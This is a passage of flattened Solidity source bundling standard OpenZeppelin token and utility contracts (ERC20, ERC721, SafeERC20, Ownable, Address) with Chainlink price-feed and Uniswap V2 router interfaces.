({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view 